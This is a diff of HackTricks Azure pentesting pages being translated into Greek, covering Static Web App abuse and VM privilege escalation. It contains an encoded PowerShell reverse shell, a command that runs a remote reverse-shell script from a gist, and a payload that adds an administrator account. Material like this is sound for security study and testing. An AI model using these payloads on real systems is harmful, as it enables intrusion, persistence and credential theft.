- azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication - action: "upload" - ###### Repository/Build Configurations - These values can be configured to match your app requirements. ###### - # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig - app_location: "/" # App source code path - api_location: "" # Api source code path - optional - output_location: "build" # Built app content directory - optional - github_id_token: ${{ steps.idtoken.outputs.result }} - ###### End of Repository/Build Configurations ###### +build_and_deploy_job: +if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') +runs-on: ubuntu-latest +name: Build and Deploy Job +permissions: +id-token: write +contents: read +steps: +- uses: actions/checkout@v3 +with: +submodules: true +lfs: false +- name: Install OIDC Client from Core Package +run: npm install @actions/core@1.6.0 @actions/http-client +- name: Get Id Token +uses: actions/github-script@v6 +id: idtoken +with: +script: | +const coredemo = require('@actions/core') +return await coredemo.getIDToken() +result-encoding: string +- name: Build And Deploy +id: builddeploy +uses: Azure/static-web-apps-deploy@v1 +with: +azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication +action: "upload" +###### Repository/Build Configurations - These values can be configured to match your app requirements. ###### +# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig +app_location: "/" # App source code path +api_location: "" # Api source code path - optional +output_location: "build" # Built app content directory - optional +github_id_token: ${{ steps.idtoken.outputs.result }} +###### End of Repository/Build Configurations ###### - close_pull_request_job: - if: github.event_name == 'pull_request' && github.event.action == 'closed' - runs-on: ubuntu-latest - name: Close Pull Request Job - steps: - - name: Close Pull Request - id: closepullrequest - uses: Azure/static-web-apps-deploy@v1 - with: - action: "close" +close_pull_request_job: +if: github.event_name == 'pull_request' && github.event.action == 'closed' +runs-on: ubuntu-latest +name: Close Pull Request Job +steps: +- name: Close Pull Request +id: closepullrequest +uses: Azure/static-web-apps-deploy@v1 +with: +action: "close" ``` - ### Microsoft.Web/staticSites/resetapikey/action -With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app. - +Με αυτή την άδεια είναι δυνατή η **επανεκκίνηση του API key της στατικής εφαρμογής ιστού**, πιθανώς προκαλώντας DoS στους ροές εργασίας που αναπτύσσουν αυτόματα την εφαρμογή. ```bash az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` - ### Microsoft.Web/staticSites/createUserInvitation/action -This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role. - -The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command: +Αυτή η άδεια επιτρέπει να **δημιουργηθεί μια πρόσκληση σε έναν χρήστη** για να έχει πρόσβαση σε προστατευμένες διαδρομές μέσα σε μια στατική εφαρμογή ιστού με έναν συγκεκριμένο ρόλο. +Η σύνδεση βρίσκεται σε μια διαδρομή όπως `/.auth/login/github` για το github ή `/.auth/login/aad` για το Entra ID και ένας χρήστης μπορεί να προσκληθεί με την ακόλουθη εντολή: ```bash az staticwebapp users invite \ - --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ - --domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \ - --invitation-expiration-in-hours 168 # 7 days is max \ - --name my-first-static-web-app # Name of the app\ - --roles "contributor,administrator" # Comma sepparated list of roles\ - --user-details username # Github username in this case\ - --resource-group Resource_Group_1 # Resource group of the app +--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ +--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \ +--invitation-expiration-in-hours 168 # 7 days is max \ +--name my-first-static-web-app # Name of the app\ +--roles "contributor,administrator" # Comma sepparated list of roles\ +--user-details username # Github username in this case\ +--resource-group Resource_Group_1 # Resource group of the app ``` - ### Pull Requests -By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL. +Κατά προεπιλογή, οι Pull Requests από ένα branch στο ίδιο repo θα συντάσσονται και θα κατασκευάζονται αυτόματα σε ένα περιβάλλον staging. Αυτό θα μπορούσε να καταχραστεί από έναν επιτιθέμενο με δικαιώματα εγγραφής στο repo αλλά χωρίς να μπορεί να παρακάμψει τις προστασίες του branch παραγωγής (συνήθως `main`) για να **αναπτύξει μια κακόβουλη έκδοση της εφαρμογής** στη διεύθυνση URL του staging. -The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +Η διεύθυνση URL του staging έχει αυτή τη μορφή: `https://-..` όπως: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**. - +> Σημειώστε ότι κατά προεπιλογή οι εξωτερικές PR δεν θα εκτελούν workflows εκτός αν έχουν συγχωνευθεί τουλάχιστον 1 PR στο αποθετήριο. Ένας επιτιθέμενος θα μπορούσε να στείλει μια έγκυρη PR στο repo και **στη συνέχεια να στείλει μια κακόβουλη PR** στο repo για να αναπτύξει την κακόβουλη εφαρμογή στο περιβάλλον staging. Ωστόσο, υπάρχει μια απροσδόκητη προστασία, η προεπιλεγμένη Github Action για την ανάπτυξη στην στατική web εφαρμογή χρειάζεται πρόσβαση στο μυστικό που περιέχει το token ανάπτυξης (όπως `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) ακόμα και αν η ανάπτυξη γίνεται με το IDToken. Αυτό σημαίνει ότι επειδή μια εξωτερική PR δεν θα έχει πρόσβαση σε αυτό το μυστικό και μια εξωτερική PR δεν μπορεί να αλλάξει το Workflow για να τοποθετήσει εδώ ένα αυθαίρετο token χωρίς να γίνει αποδεκτή μια PR, **αυτή η επίθεση δεν θα λειτουργήσει πραγματικά**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index e8fc3b433..ac36f4b6e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -65,7 +65,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Εκτέλεση reverse shell από αρχείο +- Εκτέλεση αντίστροφης θήκης από αρχείο ```bash az vm extension set \ --resource-group \ @@ -76,7 +76,7 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess ```bash @@ -87,7 +87,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na {{#endtab }} {{#endtabs }} -Είναι επίσης δυνατό να καταχραστεί κανείς γνωστές επεκτάσεις για να εκτελέσει κώδικα ή να εκτελέσει προνομιακές ενέργειες μέσα στα VMs: +Είναι επίσης δυνατό να καταχραστεί κανείς γνωστές επεκτάσεις για να εκτελέσει κώδικα ή να πραγματοποιήσει προνομιακές ενέργειες μέσα στα VMs:
@@ -308,9 +308,9 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt Συνδεθείτε μέσω **SSH** με **`az ssh vm --name --resource-group `** και μέσω **RDP** με τα **κανονικά σας Azure διαπιστευτήρια**. -## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` +### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Όλες αυτές είναι οι απαραίτητες άδειες για **δημιουργία μιας VM με μια συγκεκριμένη διαχειριζόμενη ταυτότητα** και άφημα ενός **ανοιχτού θύρας** (22 σε αυτή την περίπτωση). Αυτό επιτρέπει σε έναν χρήστη να δημιουργήσει μια VM και να συνδεθεί σε αυτήν και να **κλέψει τα διαπιστευτήρια διαχειριζόμενης ταυτότητας** για να κλιμακώσει τα προνόμια σε αυτήν. +Όλες αυτές είναι οι απαραίτητες άδειες για να **δημιουργήσετε μια VM με μια συγκεκριμένη διαχειριζόμενη ταυτότητα** και να αφήσετε μια **θύρα ανοιχτή** (22 σε αυτή την περίπτωση). Αυτό επιτρέπει σε έναν χρήστη να δημιουργήσει μια VM και να συνδεθεί σε αυτήν και να **κλέψει τα διαπιστευτήρια της διαχειριζόμενης ταυτότητας** για να κλιμακώσει τα προνόμια σε αυτήν. Ανάλογα με την κατάσταση, μπορεί να χρειαστούν περισσότερες ή λιγότερες άδειες για να καταχραστεί αυτή η τεχνική. ```bash @@ -343,13 +343,13 @@ az vm identity assign \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` -Τότε ο επιτιθέμενος πρέπει να έχει **παραβιάσει με κάποιον τρόπο το VM** για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε **περισσότερες πληροφορίες στο**: +Τότε ο επιτιθέμενος πρέπει να έχει **συμβιβάσει με κάποιον τρόπο το VM** για να κλέψει τα tokens από τις ανατεθειμένες διαχειριζόμενες ταυτότητες. Δείτε **περισσότερες πληροφορίες στο**: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} -### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" +### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write Αυτές οι άδειες επιτρέπουν την αλλαγή του χρήστη και του κωδικού πρόσβασης της εικονικής μηχανής για να αποκτηθεί πρόσβαση σε αυτήν: ```bash @@ -359,6 +359,22 @@ az vm user update \ --username \ --password ``` +### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write". + +Αυτές οι άδειες σας επιτρέπουν να διαχειρίζεστε δίσκους και διεπαφές δικτύου, και σας επιτρέπουν να συνδέσετε έναν δίσκο σε μια εικονική μηχανή. +```bash +# Update the disk's network access policy +az disk update \ +--name \ +--resource-group \ +--network-access-policy AllowAll + +# Attach the disk to a virtual machine +az vm disk attach \ +--vm-name \ +--resource-group \ +--name +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action Σύμφωνα με τα [**έγγραφα**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), αυτή η άδεια σας επιτρέπει να διαχειρίζεστε το λειτουργικό σύστημα του πόρου σας μέσω του Windows Admin Center ως διαχειριστής. Έτσι φαίνεται ότι αυτό δίνει πρόσβαση στο WAC για τον έλεγχο των VMs...